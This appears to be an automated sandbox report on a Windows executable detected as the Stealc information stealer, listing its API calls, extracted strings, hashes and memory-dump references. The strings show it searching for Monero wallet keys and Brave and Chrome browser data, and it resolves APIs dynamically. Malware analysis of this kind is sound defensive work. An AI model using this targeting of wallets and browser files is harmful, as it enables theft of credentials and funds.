%u bytes of memorycannot open file%s at line %d of [%.10s]database corruptionerror in %s %s after %s: %smalformed database sc

Target ID:	0
Start time:	00:54:02
Start date:	13/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xa00000
File size:	1'815'552 bytes
MD5 hash:	A20790233DDA144C25D87B408F14CD70
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1703301988.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1904101313.000000000109E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	37

Executed Functions

Function 00A19860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,010B2320), ref: 00A198A1
GetProcAddress.KERNEL32(74DD0000,010B2500), ref: 00A198BA
GetProcAddress.KERNEL32(74DD0000,010B2470), ref: 00A198D2
GetProcAddress.KERNEL32(74DD0000,010B22A8), ref: 00A198EA
GetProcAddress.KERNEL32(74DD0000,010B2248), ref: 00A19903
GetProcAddress.KERNEL32(74DD0000,010B91F8), ref: 00A1991B
GetProcAddress.KERNEL32(74DD0000,010A5890), ref: 00A19933
GetProcAddress.KERNEL32(74DD0000,010A5850), ref: 00A1994C
GetProcAddress.KERNEL32(74DD0000,010B2260), ref: 00A19964
GetProcAddress.KERNEL32(74DD0000,010B2380), ref: 00A1997C
GetProcAddress.KERNEL32(74DD0000,010B2440), ref: 00A19995
GetProcAddress.KERNEL32(74DD0000,010B2488), ref: 00A199AD
GetProcAddress.KERNEL32(74DD0000,010A5A30), ref: 00A199C5
GetProcAddress.KERNEL32(74DD0000,010B2218), ref: 00A199DE
GetProcAddress.KERNEL32(74DD0000,010B24A0), ref: 00A199F6
GetProcAddress.KERNEL32(74DD0000,010A57B0), ref: 00A19A0E
GetProcAddress.KERNEL32(74DD0000,010B2230), ref: 00A19A27
GetProcAddress.KERNEL32(74DD0000,010B22C0), ref: 00A19A3F
GetProcAddress.KERNEL32(74DD0000,010A5810), ref: 00A19A57
GetProcAddress.KERNEL32(74DD0000,010B2410), ref: 00A19A70
GetProcAddress.KERNEL32(74DD0000,010A58D0), ref: 00A19A88
LoadLibraryA.KERNEL32(010B2338,?,00A16A00), ref: 00A19A9A
LoadLibraryA.KERNEL32(010B22D8,?,00A16A00), ref: 00A19AAB
LoadLibraryA.KERNEL32(010B2428,?,00A16A00), ref: 00A19ABD
LoadLibraryA.KERNEL32(010B22F0,?,00A16A00), ref: 00A19ACF
LoadLibraryA.KERNEL32(010B2398,?,00A16A00), ref: 00A19AE0
GetProcAddress.KERNEL32(75A70000,010B23B0), ref: 00A19B02
GetProcAddress.KERNEL32(75290000,010B23C8), ref: 00A19B23
GetProcAddress.KERNEL32(75290000,010B23F8), ref: 00A19B3B
GetProcAddress.KERNEL32(75BD0000,010B2458), ref: 00A19B5D
GetProcAddress.KERNEL32(75450000,010A5990), ref: 00A19B7E
GetProcAddress.KERNEL32(76E90000,010B9158), ref: 00A19B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00A19BB6

Strings

NtQueryInformationProcess, xrefs: 00A19BAA

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: c10b4389bb2daf1d4f0271bd5a0c8c03ce70af01c65e2166be88bc7bb442ba69
Instruction ID: 9a2afbc50983ca2bb2f7077a989db4a554210d7767cc728039475d0a5a308db8
Opcode Fuzzy Hash: c10b4389bb2daf1d4f0271bd5a0c8c03ce70af01c65e2166be88bc7bb442ba69
Instruction Fuzzy Hash: 5EA12CBD5C4240AFE364EFA9ED88B5E3BF9F74E301704451AF609C32A4D6399841DB52

Function 00A045C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00A0460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00A0479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A04643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A046C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A0475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A0466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A045C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A045D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A046AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A046CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A04678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A046D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A04765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A04729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A0462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A04638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A0473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A04683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A045DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A0477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A04662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A0474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A04770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A0471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A045F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A045E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A04622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A04734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A04657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A046B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A04713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A04617

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 8a0029a752af72f3e83150aad37462fe45020ac9fa62dd76c28aa17580a2dd45
Instruction ID: 84a231b19bb23a20f2ce4cfa3478fbf62766add0ad6937ae1fb8437955dd7fc4
Opcode Fuzzy Hash: 8a0029a752af72f3e83150aad37462fe45020ac9fa62dd76c28aa17580a2dd45
Instruction Fuzzy Hash: 7A410570BCB6347AC628B7BCB86EFDE77767F56F20F905868AC0052680CFB265214525

Function 00A0BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

Part of subcall function 00A1A920: lstrcpy.KERNEL32(00000000,?), ref: 00A1A972
Part of subcall function 00A1A920: lstrcat.KERNEL32(00000000), ref: 00A1A982

Part of subcall function 00A1A9B0: lstrlen.KERNEL32(?,010B8F58,?,\Monero\wallet.keys,00A20E17), ref: 00A1A9C5
Part of subcall function 00A1A9B0: lstrcpy.KERNEL32(00000000), ref: 00A1AA04
Part of subcall function 00A1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A1AA12

Part of subcall function 00A1A8A0: lstrcpy.KERNEL32(?,00A20E17), ref: 00A1A905

FindFirstFileA.KERNEL32(00000000,?,00A20B32,00A20B2B,00000000,?,?,?,00A213F4,00A20B2A), ref: 00A0BEF5
StrCmpCA.SHLWAPI(?,00A213F8), ref: 00A0BF4D
StrCmpCA.SHLWAPI(?,00A213FC), ref: 00A0BF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 00A0C7BF
FindClose.KERNEL32(000000FF), ref: 00A0C7D1

Strings

\Brave\Preferences, xrefs: 00A0C1DB
Brave, xrefs: 00A0C102
Preferences, xrefs: 00A0C11E
Google Chrome, xrefs: 00A0C634

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: a01fb197aa4d428b67dc1ad3e8928d50e04bb65baf51ae4105d71fbeb4c2ff3c
Instruction ID: 02f4922fd8002399caada6f9acaa20479e323be5956f6a0f567cb558ba8acd26
Opcode Fuzzy Hash: a01fb197aa4d428b67dc1ad3e8928d50e04bb65baf51ae4105d71fbeb4c2ff3c
Instruction Fuzzy Hash: 51427876911108ABDB14FB70DE96EED737DAF64310F404568F50A960C1EF34AB89CBA2

Function 6C5C35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C64F688,00001000), ref: 6C5C35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5C35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C5C35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5C363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5C369F
__aulldiv.LIBCMT ref: 6C5C36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C5C3773
EnterCriticalSection.KERNEL32(6C64F688), ref: 6C5C377E
LeaveCriticalSection.KERNEL32(6C64F688), ref: 6C5C37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C5C37C4
EnterCriticalSection.KERNEL32(6C64F688), ref: 6C5C37CB
LeaveCriticalSection.KERNEL32(6C64F688), ref: 6C5C3801
__aulldiv.LIBCMT ref: 6C5C3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C5C3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C5C3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C5C394C

Strings

GTC, xrefs: 6C5C3912
GenuntelineI, xrefs: 6C5C3639
AuthcAMDenti, xrefs: 6C5C3946
QPC, xrefs: 6C5C38FC
MOZ_TIMESTAMP_MODE, xrefs: 6C5C35DB

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 381154e06a06cc23cb0cf1ccbb597bf4616bdc1d449003927f2db8f2cb0fb008
Instruction ID: 3246332e0a862dacf2f2a6b3f5785003fab8453d214601127360ad0ad4d8e4d3
Opcode Fuzzy Hash: 381154e06a06cc23cb0cf1ccbb597bf4616bdc1d449003927f2db8f2cb0fb008
Instruction Fuzzy Hash: 12B1D871B093109FDB08EF69C89465ABBF5FBCA708F04C92DE899D3750D77099018B8A

Function 00A14910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00A1492C
FindFirstFileA.KERNEL32(?,?), ref: 00A14943
StrCmpCA.SHLWAPI(?,00A20FDC), ref: 00A14971
StrCmpCA.SHLWAPI(?,00A20FE0), ref: 00A14987
FindNextFileA.KERNEL32(000000FF,?), ref: 00A14B7D
FindClose.KERNEL32(000000FF), ref: 00A14B92

Strings

%s\%s, xrefs: 00A149FB
%s\*, xrefs: 00A14920
%s\%s, xrefs: 00A149A4

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
